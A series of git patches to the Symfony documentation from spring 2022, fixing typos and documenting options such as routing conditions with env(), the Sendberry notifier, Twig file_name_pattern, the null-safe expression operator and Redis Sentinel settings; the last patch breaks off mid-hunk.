diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index f2cffe9679c..49fc1acf192 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -241,7 +241,7 @@ method:
 
 The behavior of this script can be modified using the ``SYMFONY_PATCH_TYPE_DECLARATIONS``
 env var. The value of this env var is url-encoded (e.g.
-``param1=value2&param2=value2``), the following parameters are available:
+``param1=value1&param2=value2``), the following parameters are available:
 
 ``force``
     Enables fixing return types, the value must be one of:

From 5e159d7ab8549afa24eeea5b75f7d19e910f0ad8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Mar 2022 16:57:51 +0100
Subject: [PATCH 1768/5766] Tweaks

---
 routing.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index 74e3a7fee02..877f21b87cc 100644
--- a/routing.rst
+++ b/routing.rst
@@ -370,6 +370,8 @@ arbitrary matching logic:
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
             # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
+            # expressions can even use environment variables:
+            # condition: "context.getHost() == env('APP_MAIN_HOST')"
 
     .. code-block:: xml
 
@@ -384,6 +386,8 @@ arbitrary matching logic:
                 <condition>context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'</condition>
                 <!-- expressions can also include configuration parameters: -->
                 <!-- <condition>request.headers.get('User-Agent') matches '%app.allowed_browsers%'</condition> -->
+                <!-- expressions can even use environment variables: -->
+                <!-- <condition>context.getHost() == env('APP_MAIN_HOST')</condition> -->
             </route>
         </routes>
 
@@ -398,7 +402,9 @@ arbitrary matching logic:
                 ->controller([DefaultController::class, 'contact'])
                 ->condition('context.getMethod() in ["GET", "HEAD"] and request.headers.get("User-Agent") matches "/firefox/i"')
                 // expressions can also include configuration parameters:
-                // 'request.headers.get("User-Agent") matches "%app.allowed_browsers%"'
+                // ->condition('request.headers.get("User-Agent") matches "%app.allowed_browsers%"')
+                // expressions can even use environment variables:
+                // ->condition('context.getHost() == env("APP_MAIN_HOST")')
             ;
         };
 
@@ -414,10 +420,10 @@ and can use any of these variables created by Symfony:
     The :ref:`Symfony Request <component-http-foundation-request>` object that
     represents the current request.
 
-Additionnal functions are provided:
+You can also use this function:
 
 ``env(string $name)``
-    Read a variable using :doc:`Environment Variable Processors <configuration/env_var_processors>`
+    Returns the value of a variable using :doc:`Environment Variable Processors <configuration/env_var_processors>`
 
 Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes

From ab67a3f3e7fd73b6029c5ca5e7a8b8a4fabdcbad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Mar 2022 17:30:00 +0100
Subject: [PATCH 1769/5766] Added the versionadded directive

---
 components/messenger.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 99946b72b7e..17586282221 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -163,7 +163,11 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`,
    to configure the validation groups used when the validation middleware is enabled.
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
-   an internal stamp when a messages fails due to an exception in the handler.
+   an internal stamp when a message fails due to an exception in the handler.
+
+.. versionadded:: 5.2
+
+    The ``ErrorDetailsStamp`` stamp was introduced in Symfony 5.2.
 
 Instead of dealing directly with the messages in the middleware you receive the envelope.
 Hence you can inspect the envelope content and its stamps, or add any::

From 14badd3649cc7d9e35ce6c9a98f8d0d00e1f3c81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Mar 2022 17:30:45 +0100
Subject: [PATCH 1770/5766] Remove the versionadded directive

---
 components/messenger.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 17586282221..7ca24d02ec3 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -165,10 +165,6 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
    an internal stamp when a message fails due to an exception in the handler.
 
-.. versionadded:: 5.2
-
-    The ``ErrorDetailsStamp`` stamp was introduced in Symfony 5.2.
-
 Instead of dealing directly with the messages in the middleware you receive the envelope.
 Hence you can inspect the envelope content and its stamps, or add any::
 

From 61b1e4cb6e455cd095936393fd0586a6865f301b Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Thu, 27 Jan 2022 08:58:19 +0200
Subject: [PATCH 1771/5766] [Notifier] [Sendberry] add docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 0106094892f..d96e771be36 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -75,6 +75,7 @@ Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@defau
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms       ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+Sendberry       ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
 Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
@@ -91,7 +92,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 6.1
 
-    The 46elks, OrangeSms and KazInfoTeh integrations were introduced in Symfony 6.1.
+    The 46elks, OrangeSms, KazInfoTeh and Sendberry integrations were introduced in Symfony 6.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 274053351d008608e59b5b0c7a7cc22aecf69c37 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Sun, 27 Mar 2022 22:05:10 +0200
Subject: [PATCH 1772/5766] [Security] fix method name in
 custom_authenticator.rst

---
 security/custom_authenticator.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index fc2487c0caf..f75cb8df444 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -350,7 +350,7 @@ Passport Attributes
 
 Besides badges, passports can define attributes, which allows the ``authenticate()``
 method to store arbitrary information in the passport to access it from other
-authenticator methods (e.g. ``createAuthenticatedToken()``)::
+authenticator methods (e.g. ``createToken()``)::
 
     // ...
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
@@ -371,7 +371,7 @@ authenticator methods (e.g. ``createAuthenticatedToken()``)::
             return $passport;
         }
 
-        public function createAuthenticatedToken(PassportInterface $passport, string $firewallName): TokenInterface
+        public function createToken(PassportInterface $passport, string $firewallName): TokenInterface
         {
             // read the attribute value
             return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));

From b39f0de537a9c69b43baa7c678cf30684d44216b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Mar 2022 11:32:22 +0200
Subject: [PATCH 1773/5766] Fix a code example about embedding images in emails
 with CSS styles

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 8b4f6d6678b..861c1d1d677 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -472,7 +472,7 @@ images inside the HTML contents::
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
 
         // use the same syntax for images included as CSS background images
-        ->html('... <div style="background-image: url(cid:footer-signature)"> ... </div> ...')
+        ->html('... <div style="background: url(cid:footer-signature)"> ... </div> ...')
     ;
 
 .. versionadded:: 6.1

From 868e311329d3f4a1e5d794bda220e5b599b03993 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Mar 2022 11:51:18 +0200
Subject: [PATCH 1774/5766] Fix the previous commit

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 861c1d1d677..f94f367265b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -471,13 +471,13 @@ images inside the HTML contents::
         // reference images using the syntax 'cid:' + "image embed name"
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
 
-        // use the same syntax for images included as CSS background images
-        ->html('... <div style="background: url(cid:footer-signature)"> ... </div> ...')
+        // use the same syntax for images included as HTML background images
+        ->html('... <div background="cid:footer-signature"> ... </div> ...')
     ;
 
 .. versionadded:: 6.1
 
-    The support of embedded images as CSS backgrounds was introduced in Symfony 6.1.
+    The support of embedded images as HTML backgrounds was introduced in Symfony 6.1.
 
 .. _mailer-configure-email-globally:
 

From 4cf3e063f5367cac08cfe027321cecaa46618e07 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 28 Mar 2022 18:21:03 +0200
Subject: [PATCH 1775/5766] [Validator] Improve Image constraint invalid mime
 type message

---
 reference/constraints/Image.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 408341427db..3beec73cdd1 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -442,7 +442,7 @@ You can find a list of existing image mime types on the `IANA website`_.
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``This file is not a valid image.``
+**type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
 ``minHeight``
 ~~~~~~~~~~~~~

From 69d9bed9a621d54b00dd1f6981419f1c9ff70040 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?St=C3=A9phane=20P?= <n3wborn@protonmail.com>
Date: Sat, 2 Apr 2022 20:46:10 +0200
Subject: [PATCH 1776/5766] [HttpFoundation] replace attributes with query

Fix: https://github.com/symfony/symfony-docs/issues/16678
---
 create_framework/front_controller.rst | 6 +++---
 create_framework/http_foundation.rst  | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index 3480ee7a40e..fded71a7b1c 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -38,7 +38,7 @@ Let's see it in action::
     // framework/index.php
     require_once __DIR__.'/init.php';
 
-    $name = $request->attributes->get('name', 'World');
+    $name = $request->query->get('name', 'World');
 
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
     $response->send();
@@ -98,7 +98,7 @@ Such a script might look like the following::
 And here is for instance the new ``hello.php`` script::
 
     // framework/hello.php
-    $name = $request->attributes->get('name', 'World');
+    $name = $request->query->get('name', 'World');
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 
 In the ``front.php`` script, ``$map`` associates URL paths with their
@@ -190,7 +190,7 @@ And the ``hello.php`` script can now be converted to a template:
 .. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
-    <?php $name = $request->attributes->get('name', 'World') ?>
+    <?php $name = $request->query->get('name', 'World') ?>
 
     Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>
 
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index e6a5c8b2714..dd838e9a5e2 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -141,7 +141,7 @@ Now, let's rewrite our application by using the ``Request`` and the
 
     $request = Request::createFromGlobals();
 
-    $name = $request->attributes->get('name', 'World');
+    $name = $request->query->get('name', 'World');
 
     $response = new Response(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 

From 233f37aa5136b3a068c836a54a4809d736e79356 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Fri, 1 Apr 2022 22:52:09 +0200
Subject: [PATCH 1777/5766] Doc for config twig.file_name_pattern

---
 reference/configuration/twig.rst | 58 ++++++++++++++++++++++++++++++++
 1 file changed, 58 insertions(+)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 8ac4068517e..64e55305742 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -166,6 +166,64 @@ The path to the directory where Symfony will look for the application Twig
 templates by default. If you store the templates in more than one directory, use
 the :ref:`paths <config-twig-paths>`  option too.
 
+.. _config-twig-file-name-pattern:
+
+file_name_pattern
+~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` or ``array`` of ``string`` **default**: ``[]``
+
+Name pattern of the Twig files in the template directories. The value can be a regexp,
+a glob, or a string. This is used by the commands ``lint:twig`` and ``cache:warmup``
+to find template files in all the configured paths.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            file_name_pattern: ['*.twig', 'specific_file.html']
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <twig:file-name-pattern>*.twig</twig:file-name-pattern>
+                <twig:file-name-pattern>specific_file.html</twig:file-name-pattern>
+                <!-- ... -->
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->fileNamePattern([
+                '*.twig',
+                'specific_file.html',
+            ]);
+
+            // ...
+        };
+
+.. note::
+
+    By default, if the option is not set, the lint command filters on ``*.twig`` files.
+    The cache warmer does not filter on file names and tries to compile all the
+    files in the template directories; ignoring compilation errors.
+
 .. _config-twig-form-themes:
 
 form_themes

From ec76b6aae824c14d0bf647a19abe10aabc281a6b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Sat, 2 Apr 2022 20:40:32 +0200
Subject: [PATCH 1778/5766] [Form] Add new prototype_options

---
 reference/forms/types/collection.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index c5572f93c6b..9b00ab9a5bc 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -303,6 +303,29 @@ type::
         ],
     ]);
 
+prototype_options
+~~~~~~~~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+This is the array that's passed to the form type specified in the `entry_type`_
+option when creating its prototype. It allows to have different options depending
+on whether you are adding a new entry or editing an existing entry.
+
+    use Symfony\Component\Form\Extension\Core\Type\CollectionType;
+    use Symfony\Component\Form\Extension\Core\Type\TextType;
+    // ...
+
+    $builder->add('names', CollectionType::class, [
+        'entry_type'   => TextType::class,
+        'entry_options'  => [
+            'help'  => 'You can edit this name here.',
+        ],
+        'prototype_options'  => [
+            'help'  => 'You can enter a new name here.',
+        ],
+    ]);
+
 entry_type
 ~~~~~~~~~~
 

From 7569cf461537894b13d4786dea4c9361082f20b1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Apr 2022 08:49:44 +0200
Subject: [PATCH 1779/5766] Minor tweaks

---
 reference/forms/types/collection.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 9b00ab9a5bc..a6909e22377 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -308,6 +308,10 @@ prototype_options
 
 **type**: ``array`` **default**: ``[]``
 
+.. versionadded:: 6.1
+
+    The ``prototype_options`` option was introduced in Symfony 6.1.
+
 This is the array that's passed to the form type specified in the `entry_type`_
 option when creating its prototype. It allows to have different options depending
 on whether you are adding a new entry or editing an existing entry.
@@ -317,12 +321,12 @@ on whether you are adding a new entry or editing an existing entry.
     // ...
 
     $builder->add('names', CollectionType::class, [
-        'entry_type'   => TextType::class,
-        'entry_options'  => [
-            'help'  => 'You can edit this name here.',
+        'entry_type' => TextType::class,
+        'entry_options' => [
+            'help' => 'You can edit this name here.',
         ],
         'prototype_options'  => [
-            'help'  => 'You can enter a new name here.',
+            'help' => 'You can enter a new name here.',
         ],
     ]);
 

From f153ae472824c5388417b1f551cf731d12314e2a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Apr 2022 10:15:38 +0200
Subject: [PATCH 1780/5766] Reword

---
 reference/configuration/twig.rst | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 64e55305742..f0afefc533c 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -173,9 +173,21 @@ file_name_pattern
 
 **type**: ``string`` or ``array`` of ``string`` **default**: ``[]``
 
-Name pattern of the Twig files in the template directories. The value can be a regexp,
-a glob, or a string. This is used by the commands ``lint:twig`` and ``cache:warmup``
-to find template files in all the configured paths.
+.. versionadded:: 6.1
+
+    The ``file_name_pattern`` option was introduced in Symfony 6.1.
+
+Some applications store their front-end assets in the same directory as Twig
+templates. The ``lint:twig`` command filters those files to only lint the ones
+that match the ``*.twig`` filename pattern.
+
+However, the ``cache:warmup`` command tries to compile all files, including
+non-Twig templates (and it ignores compilation errors). The result is an
+unnecessary consumption of CPU and disk resources.
+
+In those cases, use this option to define the filename pattern(s) of the files
+that are Twig templates (the rest of files will be ignored by ``cache:warmup``).
+The value of this option can be a regular expression, a glob, or a string:
 
 .. configuration-block::
 
@@ -218,12 +230,6 @@ to find template files in all the configured paths.
             // ...
         };
 
-.. note::
-
-    By default, if the option is not set, the lint command filters on ``*.twig`` files.
-    The cache warmer does not filter on file names and tries to compile all the
-    files in the template directories; ignoring compilation errors.
-
 .. _config-twig-form-themes:
 
 form_themes

From 23bf15d59a8e6908ab4260a3aafcc5ae062bb3d5 Mon Sep 17 00:00:00 2001
From: Sofien NAAS <sofien.naas@sofrecom.com>
Date: Sun, 20 Mar 2022 13:15:29 +0100
Subject: [PATCH 1781/5766] [ExpressionLanguage] Add support for Nullsafe
 syntax for accessing object's properties and methods.

---
 components/expression_language/syntax.rst | 36 +++++++++++++++++++++++
 1 file changed, 36 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 4d1f474008d..6ca2b0d6dbd 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -102,6 +102,42 @@ JavaScript::
 
 This will print out ``Hi Hi Hi!``.
 
+Nullsafe operator
+~~~~~~~~~~~~~~~~~
+
+Working with mutable objects can be, sometimes, error prone.
+The ``?.`` syntax can help avoid unnecessary and redundant checks
+when trying to access properties or methods on an object with dynamic structure::
+
+    class Apple
+    {
+        public $variety;
+    }
+
+    $apple = new Apple();
+    $apple->variety = 'Honeycrisp';
+
+    var_dump($expressionLanguage->evaluate(
+        'fruit?.color',
+        [
+            'fruit' => $apple,
+        ]
+    ));
+
+This will print out ``null`` instead of throwing an ``Exception``.
+
+Similarly::
+
+    var_dump($expressionLanguage->evaluate(
+        'fruit?.eatMe()',
+        [
+            'fruit' => $apple,
+        ]
+    ));
+
+Will print out ``null`` since the method ``eatMe()`` we trying to access
+on the same ``Apple`` object does not exist.
+
 .. _component-expression-functions:
 
 Working with Functions

From 835d083e97d9cfd14f102411cb9a998e7abd0860 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Apr 2022 17:43:15 +0200
Subject: [PATCH 1782/5766] Reword

---
 components/expression_language/syntax.rst | 43 +++++++----------------
 1 file changed, 13 insertions(+), 30 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 6ca2b0d6dbd..adfbb7474d1 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -102,41 +102,24 @@ JavaScript::
 
 This will print out ``Hi Hi Hi!``.
 
-Nullsafe operator
-~~~~~~~~~~~~~~~~~
+Null-safe Operator
+~~~~~~~~~~~~~~~~~~
 
-Working with mutable objects can be, sometimes, error prone.
-The ``?.`` syntax can help avoid unnecessary and redundant checks
-when trying to access properties or methods on an object with dynamic structure::
+Use the ``?.`` syntax to access properties and methods of objects that can be
+``null`` (this is equivalent to the ``$object?->propertyOrMethod`` PHP null-safe
+operator)::
 
-    class Apple
-    {
-        public $variety;
-    }
+    // these will throw an exception when `fruit` is `null`
+    $expressionLanguage->evaluate('fruit.color', ['fruit' => '...'])
+    $expressionLanguage->evaluate('fruit.getStock()', ['fruit' => '...'])
 
-    $apple = new Apple();
-    $apple->variety = 'Honeycrisp';
+    // these will return `null` if `fruit` is `null`
+    $expressionLanguage->evaluate('fruit?.color', ['fruit' => '...'])
+    $expressionLanguage->evaluate('fruit?.getStock()', ['fruit' => '...'])
 
-    var_dump($expressionLanguage->evaluate(
-        'fruit?.color',
-        [
-            'fruit' => $apple,
-        ]
-    ));
-
-This will print out ``null`` instead of throwing an ``Exception``.
-
-Similarly::
-
-    var_dump($expressionLanguage->evaluate(
-        'fruit?.eatMe()',
-        [
-            'fruit' => $apple,
-        ]
-    ));
+.. versionadded:: 6.1
 
-Will print out ``null`` since the method ``eatMe()`` we trying to access
-on the same ``Apple`` object does not exist.
+    The null safe operator was introduced in Symfony 6.1.
 
 .. _component-expression-functions:
 

From bd41d26f1300665f4459f0d203c30b45e917acf6 Mon Sep 17 00:00:00 2001
From: Maksim Tiugaev <tugmaks@yandex.ru>
Date: Mon, 4 Apr 2022 20:49:39 +0300
Subject: [PATCH 1783/5766] Minor fixes in partial denormalizing

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 8cfbc5d4927..acd7de09d6a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1248,7 +1248,7 @@ collect all exceptions at once, and to get the object partially denormalized::
         ]);
     } catch (PartialDenormalizationException $e) {
         $violations = new ConstraintViolationList();
-        /** @var NotNormalizableValueException */
+        /** @var NotNormalizableValueException $exception */
         foreach ($e->getErrors() as $exception) {
             $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
             $parameters = [];
@@ -1256,7 +1256,7 @@ collect all exceptions at once, and to get the object partially denormalized::
                 $parameters['hint'] = $exception->getMessage();
             }
             $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
-        };
+        }
 
         return $this->json($violations, 400);
     }

From 07bce89fe688c15f18a8580baa7b7c61d5ff2b7c Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Tue, 5 Apr 2022 15:13:19 +0200
Subject: [PATCH 1784/5766] add note how to avoid amqp queues autocreation

---
 messenger.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/messenger.rst b/messenger.rst
index afb3426e7d4..e900ae832c7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1193,6 +1193,7 @@ it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ss
     By default, the transport will automatically create any exchanges, queues and
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
+    To not autocreate any queues, you can configure a transport with `queues: []`.
 
 .. note::
 

From 3b6ade97b409401ade5c95f87e1a581f2b5eb89b Mon Sep 17 00:00:00 2001
From: Norbert Schultheisz <schultheisz.norbert@webshippy.com>
Date: Wed, 6 Apr 2022 07:28:02 +0000
Subject: [PATCH 1785/5766] Revert "[Messenger] Redis Sentinel support"

This reverts commit c4fe71f03557c8c847557f569337bfc3dd6db729.
---
 messenger.rst | 78 +++++++++++++++++++++------------------------------
 1 file changed, 32 insertions(+), 46 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index afb3426e7d4..f5d2277a93d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1454,47 +1454,38 @@ A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
 
-=======================  =====================================  =================================
-Option                   Description                            Default
-=======================  =====================================  =================================
-stream                   The Redis stream name                  messages
-group                    The Redis consumer group name          symfony
-consumer                 Consumer name used in Redis            consumer
-auto_setup               Create the Redis group automatically?  true
-auth                     The Redis password
-delete_after_ack         If ``true``, messages are deleted      false
-                         automatically after processing them
-delete_after_reject      If ``true``, messages are deleted      true
-                         automatically if they are rejected
-lazy                     Connect only when a connection is      false
-                         really needed
-serializer               How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                         in Redis (the
-                         ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries       The maximum number of entries which    ``0`` (which means "no trimming")
-                         the stream will be trimmed to. Set
-                         it to a large enough number to
-                         avoid losing pending messages
-tls                      Enable TLS support for the connection  false
-redeliver_timeout        Timeout before retrying a pending      ``3600``
-                         message which is owned by an
-                         abandoned consumer (if a worker died
-                         for some reason, this will occur,
-                         eventually you should retry the
-                         message) - in seconds.
-claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
-                         messages should be checked for to
-                         claim - in milliseconds
-sentinel_persistent_id   String, if null connection is          null
-                         non-persistent.
-sentinel_retry_interval  Int, value in milliseconds             ``0``
-sentinel_read_timeout    Float, value in seconds                ``0``
-                         default indicates unlimited
-sentinel_timeout         Float, value in seconds                ``0``
-                         default indicates unlimited
-sentinel_master          String, if null or empty Sentinel      null
-                         support is disabled
-=======================  =====================================  =================================
+===================  =====================================  =================================
+Option               Description                            Default
+===================  =====================================  =================================
+stream               The Redis stream name                  messages
+group                The Redis consumer group name          symfony
+consumer             Consumer name used in Redis            consumer
+auto_setup           Create the Redis group automatically?  true
+auth                 The Redis password
+delete_after_ack     If ``true``, messages are deleted      false
+                     automatically after processing them
+delete_after_reject  If ``true``, messages are deleted      true
+                     automatically if they are rejected
+lazy                 Connect only when a connection is      false
+                     really needed
+serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                     in Redis (the
+                     ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
+                     the stream will be trimmed to. Set
+                     it to a large enough number to
+                     avoid losing pending messages
+tls                  Enable TLS support for the connection  false
+redeliver_timeout    Timeout before retrying a pending      ``3600``
+                     message which is owned by an
+                     abandoned consumer (if a worker died
+                     for some reason, this will occur,
+                     eventually you should retry the
+                     message) - in seconds.
+claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
+                     messages should be checked for to
+                     claim - in milliseconds
+===================  =====================================  =================================
 
 .. caution::
 
@@ -1523,11 +1514,6 @@ sentinel_master          String, if null or empty Sentinel      null
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
 
-.. versionadded:: 5.4
-
-    The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,
-    ``sentinel_timeout``, and ``sentinel_master`` options were introduced in Symfony 5.4.
-
 .. deprecated:: 5.4
 
     Not setting a explicit value for the ``delete_after_ack`` option is

From c6543ea01d986fa3831c4e596193fd6384fe692b Mon Sep 17 00:00:00 2001
From: Norbert Schultheisz <schultheisz.norbert@webshippy.com>
Date: Wed, 6 Apr 2022 07:34:35 +0000
Subject: [PATCH 1786/5766] [Messenger] Fix: Redis Sentinel support - aligning
 paramaters with contructor

---
 messenger.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index a292b3a5ac8..ea88e748379 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1369,12 +1369,12 @@ redeliver_timeout        Timeout before retrying a pending      ``3600``
 claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
                          messages should be checked for to
                          claim - in milliseconds
-sentinel_persistent_id   String, if null connection is          null
+persistent_id            String, if null connection is          null
                          non-persistent.
-sentinel_retry_interval  Int, value in milliseconds             ``0``
-sentinel_read_timeout    Float, value in seconds                ``0``
+retry_interval           Int, value in milliseconds             ``0``
+read_timeout             Float, value in seconds                ``0``
                          default indicates unlimited
-sentinel_timeout         Float, value in seconds                ``0``
